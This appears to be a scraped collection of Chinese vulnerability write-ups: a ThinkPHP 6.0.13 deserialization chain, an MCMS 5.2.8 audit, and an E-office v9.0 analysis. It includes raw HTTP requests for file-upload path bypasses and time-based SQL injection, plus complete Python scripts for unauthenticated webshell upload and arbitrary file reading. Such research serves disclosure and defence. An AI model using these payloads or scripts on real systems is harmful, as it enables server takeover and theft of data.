同时 C3P0 链的价值也是非常高的,C3P0 的包在实战环境中除CommonsCollections、CommonsBeanutiles 以外遇到最多的 JAR 包,其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依赖进来的。
关于前文提到的 "误打误撞看到的一处伪 JNDI 注入,失败告终",后续文章会仔细讲这一片段。
ThinkPHP6.0.13反序列化漏洞分析
1. 前言
最近有点闲下来了,不找点事干比较难受,打算找点漏洞分析一下,于是就打算看看TP的一些漏洞,ThinkPHP6.0.13是TP的最新版,八月份有师傅提交了一个issue指出TP存在反序列化问题,网上也有些师傅分析了一波,不过断点下的比较多,而且部分方法没有阐明其用途,所以我也尝试详细的分析一波。下面先给出POC
2. 分析
首先看看POC的起始点
发现起始点在Psr6Cache这个类,我们进入这个类,不过没有发现__destruct或者__wakeup等常见的反序列化起始魔术方法,推测应该在其父类AbstractCache这个抽象类中。跟入AbstractCache类
如图,成功发现本次反序列化链子的起始类。这里我们可以控制autosave这个属性为false,从而进入save方法。
回到Psr6Cache类查看这个方法
可以发现,pool属性和key属性我们都可控。因此可能存在两种路线,调用不同类的同名方法(getItem)。或者是直接尝试触发__call方法。我们来看看POC作者是怎么让反序列化进行下去的。
作者用构造方法传入了exp,exp其实就是在实例化Channel类。我们进入Channel类查看
Channel类中有一个__call方法,那么作者是选择触发__call来让链子继续下去。这个call方法接受了两个参数,method是写死的(getItem),parameters是可控的(即前面可控的key属性)
跟入log方法查看,其接受三个传参(但是其实对后续的链子没啥用),传入record方法
跟入record方法
再返回查看作者的POC,发现其控制lazy属性为false,让函数进入最后一个if分支执行save方法
那么save方法应该是比较关键的方法了,跟入save方法,这里面有三个可能被利用的点,作者选择了哪一个呢?
根据POC不难发现作者选择了控制logger属性,利用构造函数对其赋值,令其为Socket类的对象
在这个类中,我们找到了一个复杂的同名方法,其中有大量的操作。
我们继续来看作者是怎么构造的,作者控制config属性,给其赋值为数组。数组有如下内容
关键在于这两个键值,作者控制config,让程序运行到调用invoke方法的分支
同时,app属性可控,作者令app属性为App类的对象,我们进入App类
这里先看看App类的的exists方法的情况,在其父类中找到了这个方法
继续往后,这里对App类进行了唯一一个操作,控制了instances属性的值。这里控制其值是为了进入Request类,并且执行url方法
作者在这里对Request类做出唯一的操纵,就是控制url属性的值。可以看出,如果url属性存在,那么就会进入第一个分支,其值等于本身。
同时又注意到,complete我们之前传入的是true。因此最终返回的结果就是$this->domain().$url,url我们已经控制了,那么domain方法返回什么呢?
OK,这点我们就不用看了。分析了这么多,我们得到了$currentUri最后的值,就是:
http://localhost/<?php system(\'calc\'); exit(); ?>
currentUri作为一个数组被传入invoke了,根据链子的长度,达到invoke,我们的反序列化之旅就快结束了
查看invoke,App类找不到这个方法,在他的父类里找到了这个方法
这里可以看到。这个函数内有三分支走向,那么最终会走向哪里呢?根据我们之前$config[‘format_head’]的传入, 首先我们传入的这个对象不是Closure的实例或者子类,并且也不满足第二个分支的条件
因此进入到到第三个分支。我们跟进invokeMethod()方法。这里传入的$callabel就是[new \think\view\driver\Php,'display']、而$vars就是[‘http://localhost/<?php system(\'calc\'); exit(); ?>’]
注意,我们传入的$method是数组,因此进入第一个分支。把new \think\view\driver\Php (即对象)赋值给$class,’display’(即方法名)赋值给新的$method。
然后下面进行了一个判断,如果$class是对象,那么其值就为它本身,因为我们传入的是对象,所以这里没什么变化。然后进入最关键的代码
可以看到,把对象new \think\view\driver\Php 以及方法 display传入了ReflectionMethod。
在最后,调用invokeArgs方法,传入了new \think\view\driver\Php对象,同时传入了$args
那么args是什么呢?
我们跟入之后发现是一个处理函数,因为本人比较懒,而且到这都快分析完了,就不去硬读了,直接给结论,总之我们传入的 $vars ,也即 [‘http://localhost/<?php system(\'calc\'); exit(); ?>’] 其中的关键部分<?php system(\'calc\'); exit(); ?>保留了下来,并且进入到了后续的传参中
继续往后看,对于这个函数(invokeArgs),可以简单的类比call_user_func(),因此最后的关键代码其实只有这两行
也即
$reflect = new ReflectionMethod(new \think\view\driver\Php,’display’);
return $reflect->invokeArgs(new \think\view\driver\Php,’ <?php system(\'calc\'); exit(); ?>’)
常看tp反序列化的朋友就知道,已经结束咧!毕竟调用display方法了。但是上述这个调用ReflectionMethod类的操作到底是什么呢?我们可以借助如下实例来演示。所以说这玩意和call_user_func很像
最后是display方法,没什么好说的了,content传入display方法中,eval执行命令了
3. 结语
TP的链子一如既往的有意思(以及复杂),特别是最后的ReflectionMethod类的用法上,如果不了解这个类以及类中的方法组合可以实现类似call_user_func函数的作用的话,那么就很容易错过这样一个精彩的漏洞。
记一次MCMS的审计之路
MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。
十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 https://gitee.com/mingSoft/MCMS/archive/refs/tags/5.2.8.zip
环境搭建
我们下载好安装包后
利用 idea 打开项目
创建数据库 mcms,导入 doc/mcms-5.2.8.sql
修改 src/main/resources/application-dev.yml 中关于数据库设置参数
运行MSApplication.java main方法
利用账户名:密码 msopen:msopen 登录后台 http://localhost:8080/ms/login.do
进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章
启动的时候会有一点小 bug 需要在 idea 中配置
运行成功后,页面如图所示
前台反射型 XSS
漏洞复现
漏洞分析
我们看到运行后的控制台输出为
我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,
net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)
后台命令执行一
漏洞复现
后台有一个可以上传模板文件的位置
我们上传文件并抓取数据包
我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容
通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下
我们写一个 1.txt 进行验证
POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"
/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"
true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"
false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html
test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--
漏洞分析
通过路由 /ms/file/uploadTemplate 定位到代码位置
net.mingsoft.basic.action.ManageFileAction#uploadTemplate
我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过
net.mingsoft.basic.action.ManageFileAction#checkUploadPath
net.mingsoft.basic.action.BaseFileAction#uploadTemplate
后台命令执行二
漏洞复现
我们看到除了上传模板的接口,还存在编辑模板的接口
点击编辑,编辑后保存并抓取数据包
原本的数据包
我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入
漏洞分析
net.mingsoft.basic.action.TemplateAction#writeFileContent
我们看到对文件的后缀名进行了检验,但还是通过传入的参数 fileName 写入文件
后台命令执行三
漏洞复现
构造数据包
POST /ms/file/upload.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"
/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"
true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"
false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="3.txt"
Content-Type: text/html
test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--
返回上传成功的文件的地址
漏洞分析
这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内
net.mingsoft.basic.action.ManageFileAction#upload
虽然存在非法路径过滤函数 checkUploadPath ,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过
对文件的上传是利用了
net.mingsoft.basic.action.BaseFileAction#upload
存在很多过滤,但是还是可以成功上传文件
后台 SQL 注入漏洞
漏洞复现
构造数据包
GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1
Host: localhost:8080
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie:
Pragma: no-cache
Referer: http://localhost:8080/ms/model/index.do?
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
token: null
发现成功使得服务器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.PageAction#verify
获取参数并传到方法 validated
net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)
将 fieldName 和 fieldValue 的传入到 where 参数中
net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)
net.mingsoft.base.dao.IBaseDao#queryBySQL
因为是 mybits 所以未采用预编译的 ${ 就容易产生注入
后台 SQL 注入二
漏洞复现
登录后台后我们找到自定义模型的位置
根据代码生成器 生成一个自定义模型 json 并导入保存
点击删除时 抓取数据包
修改modelTableName
发现成功使得服务器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.ModelAction#delete
net.mingsoft.base.biz.impl.BaseBizImpl#dropTable
net.mingsoft.base.dao.IBaseDao
查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。
E-office Server_v9.0 漏洞分析
漏洞简介
泛微e-office是一款标准化的协同OA办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据,未授权的攻击者可以构造恶意数据包发送给服务器,实现任意文件上传,并且获得服务器的webshell,成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包,读取服务器上的任意文件
漏洞影响范围 E-office Server_v9.0
默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘,所以安装位置是 c:\eoffice
安装完成后,服务默认在 8082 端口 通过主机名 或 ip 地址都可以访问到
代码位置在 C:\eoffice\webroot 同样代码也是被加密了的
通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本 http://www.phpjm.cc/
利用工具进行批量的解密,因为工具点击一次只能进行一次解密,所以利用模拟点击的工具进行模拟点击 https://github.com/taojy123/KeymouseGo
任意文件上传漏洞
漏洞利用
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.0.21.14:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Length: 175
------WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Disposition: form-data; name="Filedata"; filename="1.php"
<?php phpinfo();?>
------WebKitFormBoundaryykJoMlQs3JMOsgi3--
上传文件的地址 http://10.0.21.14:8082/images/logo/logo-eoffice.php
漏洞分析
漏洞的主要位于 general/index/UploadFile.php
通过 $_GET 方法获取的参数 m,调用 UploadFile 中的任意方法
我们选择其中的 uploadPicture 方法
没有对传入的文件进行过滤,如果传入一个 php 文件,命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER['DOCUMENT_ROOT']."/images/logo/"
利用脚本
import sys
import requests
def request_shell(url):
targeturl = url + "/images/logo/logo-eoffice.php"
response = requests.get(targeturl)
if(response.status_code == 200):
print("获取 shell 成功,shell地址为:"+targeturl)
def request_upload(url,data):
targeturl = url + "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="
targetfile = {'Filedata':('upload.php',data,'text/plain')}
response = requests.post(url = targeturl, files = targetfile)
if(response.status_code == 200):
print("上传成功")
def read_uploadfile(url,filename):
with open(filename) as f:
data = f.read()
request_upload(url,data)
def upload_file(url,filename):
if (filename == "phpinfo.php"):
data = "<?php phpinfo(); ?>"
request_upload(url,data)
else:
read_uploadfile(url,filename)
def main():
if len(sys.argv) < 3:
print("Usage: upload_file.py targeturl filename\n"
"Example: python upload_file.py http://10.0.21.14:8082 phpinfo.php")
exit()
url = sys.argv[1]
filename = sys.argv[2]
upload_file(url,filename)
request_shell(url)
if __name__ == '__main__':
main()
任意文件下载漏洞
漏洞利用
GET /inc/attach.php?path=/../../../../../1.txt HTTP/1.1
Host: 10.0.21.14:8082
Origin: http://10.0.21.14:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
漏洞分析
inc/attach.php
直接传入参数 $path 最后会读取 $path 的内容并将结果返回出来,我们注意到利用未授权就可将文件下载下来,从代码层面并没有看出来原因,但是通过浏览器直接访问时无法访问到,进行了 302 跳转,通过 burpsuite 就可以访问到,攥写脚本禁止 302 跳转也可以读取出来。
漏洞的主要来源位于
我们看一下文件的下载链接
利用脚本
import sys
import requests
import re
def save_reponse(re_result,filename):
filename=re.findall("[^/]+quot;,filename)[0]
# print(filename)
with open(filename, 'w',encoding='gb18030') as f:
f.write(re_result)
def re_response(response):
re_result = response[1507:]
return re_result
def read_file(url,filename):
targeturl = url + "/inc/attach.php?path="+filename
response = requests.get(url = targeturl, allow_redirects=False)
# print(response.text)
re_result = re_response(response.text)
print(re_result)
save_reponse(re_result,filename)
def main():
if len(sys.argv) < 3:
print("Usage: upload_file.py targeturl filename\n"
"Example: python read_file.py http://10.0.21.14:8082 attach.php")
exit()
url = sys.argv[1]
filename = sys.argv[2]
read_file(url,filename)
if __name__ == '__main__':
main()
还有一些 SQL 注入漏洞,还可以继续进一步的进行审计分析。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

